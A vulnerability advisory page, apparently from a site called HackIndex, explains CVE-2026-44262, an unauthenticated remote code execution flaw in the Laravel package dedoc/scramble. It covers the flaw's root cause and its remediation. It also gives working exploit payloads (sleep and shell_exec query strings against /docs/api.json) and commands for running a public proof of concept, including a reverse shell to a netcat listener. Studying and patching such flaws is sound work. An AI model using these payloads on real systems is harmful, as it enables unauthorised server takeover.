Skip to content
HackIndex logo

HackIndex

CVE-2026-44262:
dedoc/scramble Unauthenticated RCE

Published: May 7, 2026
Critical
Code Injection

dedoc/scramble is a popular Laravel package that auto-generates OpenAPI documentation by statically analyzing your controllers. Versions >=0.13.2 and <0.13.22 contain a critical Remote Code Execution vulnerability that requires zero authentication and zero user interaction.

Root Cause

Scramble builds its OpenAPI spec by parsing controller code and evaluating Laravel validation rules. Internally, NodeRulesEvaluator::doEvaluateExpression() does the following:

extract($variables);
return eval("return $code;");

The $variables array is populated by tracking assignments in the controller. When a controller assigns user input to a variable named $code and passes it to validate(), Scramble picks it up:

public function index(Request $request)
{
    $code = $request->input('sort', 'required|string');

    $request->validate([
        'name' => $code,
    ]);
}

Scramble tracks that $code comes from $request->input() and includes it in $variables. When extract($variables) runs, it overwrites Scramble's own local $code variable. The attacker controls what gets eval()'d.

Impact

An unauthenticated attacker can send a crafted request to /docs/api.json and execute arbitrary PHP on the server. Full system compromise is possible.

Exploitation

The vulnerability is triggered via a query parameter on the OpenAPI spec endpoint. The parameter name is discovered automatically from the spec itself.

Timing probe (safe detection):

┌──(kali㉿kali)-[~]
└─$ GET /docs/api.json?sort=sleep(4)

A ~4 second response delay confirms the eval() fires.

Command execution:

┌──(kali㉿kali)-[~]
└─$ GET /docs/api.json?sort=print(shell_exec('id'))

Output appears prepended to the JSON response body.

Remediation

Update to dedoc/scramble >= 0.13.22:

┌──(kali㉿kali)-[~]
└─$ composer require dedoc/scramble:^0.13.22

If patching is not immediately possible, restrict access to /docs and /docs/api.json at the web server level or add RestrictedDocsAccess middleware in config/scramble.php.

Proof of Concept

The PoC is available at github.com/joshuavanderpoll/CVE-2026-44262. It auto-detects vulnerable parameters, confirms via timing probe, and supports command execution, file read, raw PHP eval, and reverse shell.

Setup

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2026-44262
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2026-44262.py --target http://target.com --command "whoami"

Get a reverse shell

Start a listener first:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444

Then send the payload:

┌──(kali㉿kali)-[~]
└─$ python3 CVE-2026-44262.py --target http://target.com --shell --lhost YOUR_IP --lport 4444

Docker Lab

A self-contained lab running dedoc/scramble 0.13.21 is included in the repository. No configuration needed.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2026-44262/docker
┌──(kali㉿kali)-[~]
└─$ docker compose up -d

The vulnerable app starts at http://localhost:8000. Run the exploit directly against it:

┌──(kali㉿kali)-[~]
└─$ python3 ../CVE-2026-44262.py --target http://localhost:8000 --command "id"

To stop the lab:

┌──(kali㉿kali)-[~]
└─$ docker compose down